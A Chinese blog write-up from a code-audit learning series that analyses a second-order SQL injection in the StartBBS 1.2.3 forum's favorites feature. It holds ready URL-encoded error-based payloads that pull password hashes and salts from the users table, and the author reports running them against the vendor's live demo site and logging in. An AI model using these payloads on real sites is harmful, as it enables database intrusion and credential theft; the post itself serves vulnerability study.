代码审计学习(三)CI框架 startbbs

作者: 分类: 代码审计 时间: 2016-04-03 浏览: 5664 评论: 3条评论

更新有点迟了 CI框架看的有点晕(其实是玩了几天游戏,哈哈哈)
startbbs v1.2.3
如果有不对的地方请大牛指正

0x00 背景

先说说框架,第一次看框架,完全懵逼状态。
主要要弄懂怎么路由
列如 http://192.168.131.136/startbbs/index.php/topic/show/1
会找到应用目录(app)控制器目录(controllers)下的topic.php的show方法参数为1
如图

uri演示图.png

至于实现的方法,要去看system/core下的URI类和Router类 这里不再赘述

0x01 二次注入

看到出问题的页面 /app/controllers/favorites.php

public function index ($page=1)
    {

        //分页
        $limit = 10;
        $config['uri_segment'] = 3;
        $config['use_page_numbers'] = TRUE;
        $config['base_url'] = site_url('favorites/index');
        $uid = $this->session->userdata('uid');
        $user_fav = $this->db->get_where('favorites',array('uid'=>$uid))->row_array();
        $config['total_rows'] = @$user_fav['favorites'];
        $config['per_page'] = $limit;
        $config['first_link'] ='首页';
        $config['last_link'] ='尾页';
        $config['prev_link'] = '上一页';
        $config['next_link'] = '下一页';
        $config['last_link'] ='尾页';
        $config['num_links'] = 10;
        
        $this->load->library('pagination');
        $this->pagination->initialize($config);
        
        $start = ($page-1)*$limit;
        $data['pagination'] = $this->pagination->create_links();

        //获取列表

        $to = $start+$limit;
        if(@$user_fav['favorites'] > 1){
            $id_arr = array_slice(explode(',', $user_fav['content']),$start,10);
        }else{
            $id_arr = array(@$user_fav['content']);
        }
        $topic_ids = implode(',', $id_arr);

        $this->load->model('favorites_m');
        if(@$user_fav['content']){
            $data['fav_list'] = $this->favorites_m->get_favorites_list($start, $limit, $topic_ids);
        }


        $data['title'] = '贴子收藏';
        $this->load->view('favorites',$data);
    }
    public function add($topic_id)
    {
        //获取收藏数据
        $uid = $this->session->userdata('uid');
        $user_fav = $this->db->get_where('favorites',array('uid'=>$uid))->row_array();
        
//      var_dump($user_fav);
        //收藏操作
        if(@$user_fav['uid']){
            if($user_fav['content']){
                $ids_arr = explode(",", @$user_fav['content']);
                if(!in_array($topic_id, $ids_arr)){
                    array_unshift($ids_arr, $topic_id);
                    //$topics = count($ids_arr);
                    $content = implode(',', $ids_arr);
                    $this->db->where('uid', $uid)->update('favorites',array('content'=>$content));
                    $this->db->where('uid', $uid)->set('favorites','favorites+1',FALSE)->update('favorites');
                    $this->db->where('uid', $uid)->set('favorites','favorites+1',FALSE)->update('users');
                    $this->db->where('topic_id', $topic_id)->set('favorites','favorites+1',FALSE)->update('topics');
                }
                unset($ids_arr);
            } else {
                $data['content'] = $topic_id;
                $data['favorites'] =1;
                $this->db->where('uid', $uid)->update('favorites',$data);
                $this->db->where('uid', $uid)->set('favorites','favorites+1',FALSE)->update('users');
                $this->db->where('topic_id', $topic_id)->set('favorites','favorites+1',FALSE)->update('topics');
            }
        } else{
            $data['content'] = $topic_id;
            $data['favorites'] = 1;
            $data['uid'] = $uid;
            $this->db->insert('favorites', $data);
            $this->db->where('uid', $uid)->set('favorites','favorites+1',FALSE)->update('users');
            $this->db->set('favorites','favorites+1',FALSE)->where('topic_id', $topic_id)->update('topics');
            
        }
        $userinfo=$this->db->select('favorites')->get_where('users',array('uid'=>$uid))->row_array();
        $this->session->set_userdata('favorites', @$userinfo['favorites']);
        redirect('topic/show/'.$topic_id);
    }

看到add方法中 不管哪个分支 topic_id都直接入库
代码add.png

再看看index方法中的查询操作

$user_fav = $this->db->get_where('favorites',array('uid'=>$uid))->row_array(); 

代码index.png

跟进 get_favorites_list函数
代码favorite_m.png

嗯,非常简单的注入,先插进数据库,然后再查询就好了,首选当然是报错注入。

0x02 一个友善的提示

这里有几个问题,首先是闭合括号
CI框架获取的url是 $uri = $_SERVER['REQUEST_URI'];
这个变量是不会进行url解码的,也就是说输入右括号%29进入mysql的仍然是%29
看到app/core/MY_URI.php中继承了URI类

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

 
class MY_URI extends CI_URI {
 
    function _filter_uri($str) {
        $encoding = mb_detect_encoding($str, "gb2312,utf-8");
        if ($encoding != "utf-8") {
            $str = iconv($encoding, "utf-8", $str);
        }
        if ($str != '' && $this->config->item('permitted_uri_chars') != '' && $this->config->item('enable_query_strings') == FALSE) {
            // preg_quote() in PHP 5.3 escapes -, so the str_replace() and addition of - to preg_quote() is to maintain backwards
            // compatibility as many are unaware of how characters in the permitted_uri_chars will be parsed as a regex pattern
            if (!preg_match($this->config->item('permitted_uri_chars'), $str)) {
                show_error('myurl:The URI you submitted has disallowed characters.' . $str, 400);
            }
        }
        // Convert programatic characters to entities
        $bad = array('$', '(', ')', '%28', '%29');
        $good = array('$', '(', ')', '(', ')');
 
        return str_replace($bad, $good, $str);
    }
 
}

显示了 不允许的字符

show_error('myurl:The URI you submitted has disallowed characters.' . $str, 400);

看下$this->config->item('permitted_uri_chars')

$config['permitted_uri_chars'] = '|^[a-z 0-9~%\.\:_\+\- \x{4e00}-\x{9fa5}]+$|iu';

但是 多改了

$bad = array('$', '(', ')', '%28', '%29');
$good = array('$', '(', ')', '(', ')');

在CI框架的URI类中是这样的
代码uri类.png
引入了括号,看多友善,要啥来啥。

好的,括号可以闭合了,有了括号,空格的问题也解决了,来看下常见的几种报错exp
1.floor

id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from informatin_schema.tables group by x)a)

2.extractvalue()

id=1 and (extractvalue(1,concat(0x5c,(select user()))))

3.updataxml()

id = 1 and updatexml(1,concat(0x3a,user()),1)

4.bigint1

id = 1 and (!(select*from(select user())x)-~0)

5.bigint2

id=1 and exp(~(select*from(select user())a))

很明显,都不能用 逗号,叹号,星号是无法url解码的

0x03 探索新的exp

感受了一下,第5条是最有希望的,只要不用星号就可以了
测试一下
exp1.png
可惜的是反引号和等号都不能用 不过没有关系 还有like
exp2.png
于是payload为

0)and(exp(~(select(password)from(select(password)from(stb_users)where(uid)like(1))x)))
0%29and%28exp%28~%28select%28password%29from%28select%28password%29from%28stb_users%29where%28uid%29like%281%29%29x%29%29

因为没法注释(虽然-号可以用但是缺少一个空格)所以去掉一个右括号
官网打不开了 来个本地截图

exp3.png

再注册个账号 注出salt就可以了

结束了么,不,才刚刚开始 bigint的适用版本为mysql 5.5.5+
不是全版本的exp不是好exp

回到之前的代码 index方法
代码3.png

仔细看了一会

$id_arr = array_slice(explode(',', $user_fav['content']),$start,10);
$topic_ids = implode(',', $id_arr);

理下逻辑,先用逗号来分割$user_fav['content']的内容,再用逗号来组合$id_arr 卧槽 逗号!!

我们期望构造这样一个exp

0)and(updatexml(1,(select(concat(0x3a,mid(group_concat(password,0x3a,salt),1,30)))from(stb_users)),1)

于是按顺序收藏

  • 1%29
  • 30%29%29%29from%28sb_users%29%29
  • 1
  • salt%29
  • 0x3a
  • mid%28group_concat%28password
  • %28select%28concat%280x3a
  • 0%29and%28updatexml%281

看看数据库
测试图2db.png

完美!
测试官方演示站

测试官方网.png

测试官网2.png

登陆看看

测试官方登陆.png

标签: none

订阅本站(RSS)

已有 3 条评论

  1. 前来膜拜

    时间: 2016-04-04 at 18:55 回复
  2. 清风

    屌屌哒

    时间: 2016-04-09 at 09:26 回复
  3. 666wooyun20rank

    时间: 2016-04-11 at 19:20 回复

添加新评论